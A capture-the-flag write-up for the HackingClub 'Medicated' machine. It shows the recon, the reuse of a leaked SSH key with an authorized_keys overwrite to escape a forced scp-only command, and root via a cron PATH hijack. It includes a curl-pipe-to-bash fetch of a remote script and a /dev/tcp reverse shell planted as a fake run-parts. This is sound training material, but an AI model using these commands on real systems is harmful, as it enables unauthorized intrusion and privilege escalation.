↓Skip to main content

[Write-Up] HackingClub: Medicated

Recon #

Nmap #

Run a nmap scan on the machine, there’s an Apache server running on port 80. By accessing it, we find out it’s hosting what appears to be a static application.

┌──(kali㉿kali)-[~/Machines]
└─$ nmap -sV medicated.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-30 18:01 -0400
Nmap scan report for medicated.hc (172.16.6.166)
Host is up (0.19s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http    Apache httpd 2.4.29 ((Ubuntu))
32781/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.17 seconds

Enumeration #

Run file discovery on the machine by running ffuf on it. Using a small wordlist of common files and directories we find out a zipfiles directory.

                                                                                                                                                           
┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ ffuf -u "http://medicated.hc/FUZZ" -w /usr/share/wordlists/dirb/small.txt -e php,html

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://medicated.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/small.txt
 :: Extensions       : php html 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

css                     [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 160ms]
img                     [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 142ms]
js                      [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 152ms]
zipfiles                [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 170ms]
:: Progress: [2877/2877] :: Job [1/1] :: 226 req/sec :: Duration: [0:00:14] :: Errors: 0 ::

zipfiles #

By accessing this directory, we find some files exposed that should not be exposed, three zip files named janice.zip, jean.zip and jessica.zip.

Vulnerabilities #

Misconfiguration - Exposed Files #

This vulnerability is a misconfiguration vulnerability, one can assume these files were not supposed to be uploaded, probably the system administrator moved these files to the web server location by mistake.

The files and it’s unzipped contents are shown below:

┌──(kali㉿kali)-[~/Machines/HC-Medicated]
└─$ tree -a                        
.
├── janice
│   ├── .bash_logout
│   ├── .bashrc
│   └── .profile
├── janice.zip
├── jean
│   ├── .bash_logout
│   ├── .bashrc
│   └── .profile
├── jean.zip
├── jessica
│   ├── .bash_history
│   ├── .bash_logout
│   ├── .bashrc
│   ├── .local
│   │   └── share
│   │       └── nano
│   ├── only_scp.sh
│   ├── .profile
│   └── .ssh
│       ├── authorized_keys
│       ├── id_rsa
│       └── id_rsa.pub
└── jessica.zip

8 directories, 17 files

These are contents of the home of each of these users, maybe a backup done at some point. Nothing valuable to an attacker is found on janice and jean zip files, but on jessica there are some valuable finds.

Exploitation #

There’s the .ssh folder, inside it a private key, a public key and a authorized_keys, on that authorized_keys files we can understand where the only_scp.sh files is used.

The only_scp.sh file has the following content:

#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
 'scp'*)
    $SSH_ORIGINAL_COMMAND
    ;;
 *)
    echo "ACCESS DENIED"
    scp
    ;;
esac

The authorized_keys enable us to see that this script is being used as a command after the login:

no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/jessica/only_scp.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDefATLDEsgMk0nfKOr+gwkGQWiXG0XDeQxT/m+r1arFFMTDP3V3g/k3Wu2OoaY5M9oMg0f1+d89vVgVf5pnvS8/SzP1ieVQvs6XOpbyLuoSLJIdT+iTYXC20qyz1E20I91/+0w1Hjk7cWdhIX9DPelk3bt4SKkngXOXCrofT15H3p/urdpxG3GzJllGnvafubDT2tC+m7qUs1R5Dz+3of6wrBVzgr5jShBZCVuzP0cMIVieEBcqMEZyZAU2WTKTgDqgeVN2T7iLW4JP5p9Lepza1vEZuk734Z3bMqBo7rDysVVXRswTKUcVm5rQvhQbqBuY9FcWwUcetv9IQure53Z jessica@ip-172-31-32-155

If we use the private key found on jessica.zip we have the following message:

┌──(kali㉿kali)-[~/Machines/HC-Medicated/jessica]
└─$ ssh -i .ssh/id_rsa jessica@medicated.hc                             
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
PTY allocation request failed on channel 0
ACCESS DENIED.
usage: scp [-346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
           [-l limit] [-o ssh_option] [-P port] [-S program]
           [[user@]host1:]file1 ... [[user@]host2:]file2
Connection to medicated.hc closed.

So we can see that we were able to login, but got the message ACCESS DENIED. from the only_scp.sh script. So we can use the scp to upload a new authorized_keys, overwriting it without this limitation. What the new authorized_keys look like:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDefATLDEsgMk0nfKOr+gwkGQWiXG0XDeQxT/m+r1arFFMTDP3V3g/k3Wu2OoaY5M9oMg0f1+d89vVgVf5pnvS8/SzP1ieVQvs6XOpbyLuoSLJIdT+iTYXC20qyz1E20I91/+0w1Hjk7cWdhIX9DPelk3bt4SKkngXOXCrofT15H3p/urdpxG3GzJllGnvafubDT2tC+m7qUs1R5Dz+3of6wrBVzgr5jShBZCVuzP0cMIVieEBcqMEZyZAU2WTKTgDqgeVN2T7iLW4JP5p9Lepza1vEZuk734Z3bMqBo7rDysVVXRswTKUcVm5rQvhQbqBuY9FcWwUcetv9IQure53Z jessica@ip-172-31-32-155

Upload it to the target:

┌──(kali㉿kali)-[~/Machines/HC-Medicated/jessica]
└─$ scp -O -i .ssh/id_rsa .ssh/authorized_keys jessica@medicated.hc:/home/jessica/.ssh/authorized_keys
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
authorized_keys                                                                                                           100%  406     1.9KB/s   00:00    

After we do this, we can now successfully login as jessica:

┌──(kali㉿kali)-[~/Machines/HC-Medicated/jessica]
└─$ ssh -i .ssh/id_rsa jessica@medicated.hc                                                           
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1060-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Oct  1 01:07:55 UTC 2026

  System load:  0.0               Processes:           102
  Usage of /:   20.0% of 7.69GB   Users logged in:     0
  Memory usage: 11%               IP address for ens5: 172.16.8.172
  Swap usage:   0%


208 updates can be applied immediately.
169 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


$ whoami
jessica
$ bash

With we can get the first user flag:

jessica@ip-172-16-4-71:~$ cat /user.txt 
CS{REDACTED}

Privilege Escalation #

To start out, run a recon script, we got some relevant findings, which are shown below:

jessica@ip-172-16-8-172:~$ curl http://10.0.9.28:8000/linrecon.sh | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1288  100  1288    0     0   3597      0 --:--:-- --:--:-- --:--:--  3607
[+] Current user: jessica
    User id: uid=1003(jessica) gid=1003(jessica) groups=1003(jessica)
    User groups: jessica
[+] Passwordless sudo commands: 
sudo: a password is required
[+] User history:

[+] Loading /etc/passwd content
[+] Login users:
root
ubuntu
janice
jean
jessica
...
=== SYSTEM INFORMATION ===
[+] Hostname: 172.16.8.172 
[+] Kernel Version: Linux version 5.4.0-1060-aws (buildd@lgw01-amd64-054) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #63~18.04.1-Ubuntu SMP Mon Nov 15 14:31:31 UTC 2021
[+] Linux Distro: Ubuntu 18.04.6 LTS \n \l
---------
=== MACHINE STATE ===
...
[+] Writeable PATH entries
/usr/local/sbin
...
[+] Cron jobs
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/3 *   * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

We got:

  • A writeable entry on PATH
  • A cron job running every three minutes, without full path
  • The path for run-parts is placed after the writeable path /usr/local/sbin
jessica@ip-172-16-4-71:~$ which run-parts 
/bin/run-parts

With that info, we can create a run-parts executable on /usr/local/sbin/run-parts that creates a reverse shell:

jessica@ip-172-16-4-71:~$ echo "/bin/bash -c 'bash -i >& /dev/tcp/10.0.9.28/4445 0>&1'" > /usr/local/sbin/run-parts
jessica@ip-172-16-4-71:~$ chmod +x /usr/local/sbin/run-parts 
jessica@ip-172-16-4-71:~$ cat /usr/local/sbin/run-parts 
/bin/bash -c 'bash -i >& /dev/tcp/10.0.9.28/4445 0>&1'

We run netcat on the attacker machine and wait a minute divisible by 3:

┌──(kali㉿kali)-[~/Machines/HC-Medicated/jessica]
└─$ nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.4.71] 35924
bash: cannot set terminal process group (2299): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-172-16-4-71:/# whoami
whoami
root
root@ip-172-16-4-71:/# ls /root
ls /root
root.txt
snap
root@ip-172-16-4-71:/# cat /root/root.txt
cat /root/root.txt
CS{REDACTED}
root@ip-172-16-4-71:/# 

Flags #

  • User (SSH key reuse via authorized_keys overwrite): CS{REDACTED}
  • Root (PATH hijack on cron’s run-parts): CS{REDACTED}